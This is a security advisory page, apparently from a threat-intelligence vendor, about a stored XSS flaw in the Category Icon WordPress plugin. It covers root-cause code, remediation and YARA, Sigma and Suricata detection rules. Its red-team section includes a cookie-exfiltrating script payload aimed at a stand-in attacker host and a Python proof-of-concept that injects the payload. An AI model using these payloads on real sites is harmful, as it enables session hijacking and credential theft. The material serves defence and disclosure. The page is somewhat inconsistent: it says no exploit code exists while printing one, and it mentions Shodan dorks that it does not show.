CVE-2025-68525
Executive Summary
CVE-2025-68525 is a Stored Cross-Site Scripting (XSS) vulnerability in the Pixelgrade Category Icon WordPress plugin, affecting versions through 1.0.2. The flaw arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the WordPress database. When an administrator or other user views the affected page, the malicious script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 base score is 5.9 (Medium), with a low EPSS probability (0.0%) indicating limited active exploitation in the wild. No public exploit code or patch is currently available, making this a high-priority issue for WordPress site administrators using the plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site running Category Icon <= 1.0.2 is exposed. Since no patch exists, site owners must either remove the plugin or apply a virtual patch via a Web Application Firewall (WAF). The plugin’s vendor (Pixelgrade) has not released a security update, increasing the risk of supply chain compromise if the plugin is used in managed WordPress environments or enterprise deployments.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
- User Interaction (UI): Required (R) – Victim must view the compromised page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the stored nature of the XSS means a single injection can affect multiple users over time.
Deep Dive & Mechanics
The Category Icon plugin allows users to assign icons to WordPress categories via a custom meta field. The vulnerability exists in the plugin’s handling of the icon URL or class input. When a user with contributor-level privileges or higher saves a category, the plugin stores the input without proper sanitization or output encoding. Later, when the category is displayed on the frontend or admin panel, the unsanitized input is rendered as HTML/JavaScript, leading to Stored XSS.
Attack Flow:
- Attacker logs in as a contributor or higher.
- Navigates to Posts > Categories and edits a category.
- Injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into the icon field. - The payload is stored in the
wp_termmetatable. - When an administrator or visitor views a page listing that category, the script executes.
Root Cause: The plugin uses echo or the_meta() without applying esc_html() or wp_kses() to the icon value. The vulnerable code likely resembles:
echo get_term_meta( $term_id, 'category_icon', true );
Vulnerable vs. Patched Code
Vulnerable Code (<= 1.0.2):
// Display category icon
$icon = get_term_meta( $term_id, 'category_icon', true );
echo $icon; // No sanitization
Patched Code (Hypothetical):
// Display category icon
$icon = get_term_meta( $term_id, 'category_icon', true );
echo esc_html( $icon ); // Output encoding
The fix requires applying esc_html() or wp_kses_post() to the output, and using sanitize_text_field() or wp_unslash() on input.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with Category Icon plugin <= 1.0.2.
- Valid user account with contributor role or higher.
Exploit Steps:
- Log in to WordPress admin.
- Go to Posts > Categories.
- Edit an existing category or create a new one.
- In the "Category Icon" field, inject:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the category.
- Wait for an admin to visit the Categories page or any page listing that category.
Proof-of-Concept (PoC) Script:
import requests
from bs4 import BeautifulSoup
target = "http://target.com/wp-admin"
username = "attacker"
password = "password"
session = requests.Session()
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': '/wp-admin/',
'testcookie': '1'
}
session.post(target + '/wp-login.php', data=login_data)
# Get nonce for category edit
cat_page = session.get(target + '/edit-tags.php?taxonomy=category')
soup = BeautifulSoup(cat_page.text, 'html.parser')
nonce = soup.find('input', {'name': '_wpnonce'})['value']
# Inject XSS payload
payload = "<script>alert('XSS')</script>"
data = {
'action': 'editedtag',
'taxonomy': 'category',
'tag_ID': '1',
'category_icon': payload,
'_wpnonce': nonce,
'_wp_http_referer': '/wp-admin/edit-tags.php?taxonomy=category'
}
session.post(target + '/wp-admin/edit-tags.php', data=data)
print("Payload injected.")
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual category edits by low-privilege users.
- Look for
<script>tags or event handlers inwp_termmetatable. - Use WAF rules to block common XSS patterns in category fields.
Hardening:
- Disable the plugin until a patch is available.
- Apply a virtual patch via WAF (e.g., ModSecurity rule blocking
<scriptin POST parameters). - Restrict contributor roles from editing categories if not needed.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/category-icon/category-icon.php(version <= 1.0.2) - Database: Rows in
wp_termmetawithmeta_key = 'category_icon'containing<script>tags or JavaScript event handlers. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin.
- Logs: WordPress audit logs showing category edits by non-admin users with suspicious payloads.
Detection Engineering
YARA Rule
rule CVE_2025_68525_Stored_XSS {
meta:
description = "Detects Category Icon plugin files with unsanitized output"
author = "Valters IT"
date = "2025-04-01"
cve = "CVE-2025-68525"
strings:
$unsafe_echo = /echo\s*\$icon/i
$unsafe_print = /print\s*\$icon/i
$meta_get = /get_term_meta\s*\(/
condition:
$meta_get and ($unsafe_echo or $unsafe_print)
}
Sigma Rule
title: Stored XSS via Category Icon Plugin
id: 8f2a1b3c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects injection of script tags in category icon field
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
EventID: 1000 # Custom audit log event
Object: 'category_icon'
Data|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in icon field (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-68525 Stored XSS - Category Icon Plugin";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/edit-tags.php"; http_uri;
content:"category_icon"; http_client_body;
pcre:"/<script[^>]*>/i";
sid:1000001;
rev:1;
reference:cve,2025-68525;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete Category Icon from all WordPress installations.
- Apply virtual patch – Use a WAF to block requests containing
<scriptin thecategory_iconPOST parameter. - Audit database – Search
wp_termmetafor malicious payloads and remove them.
Long-Term Fix:
- Wait for Pixelgrade to release a patched version (>= 1.0.3).
- If no patch is forthcoming, replace the plugin with an alternative (e.g., "Category Icon Lite" or custom code).
Workaround:
- Restrict contributor roles from editing categories via a plugin like "User Role Editor".
- Implement Content Security Policy (CSP) headers to block inline scripts.
Valters IT – DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.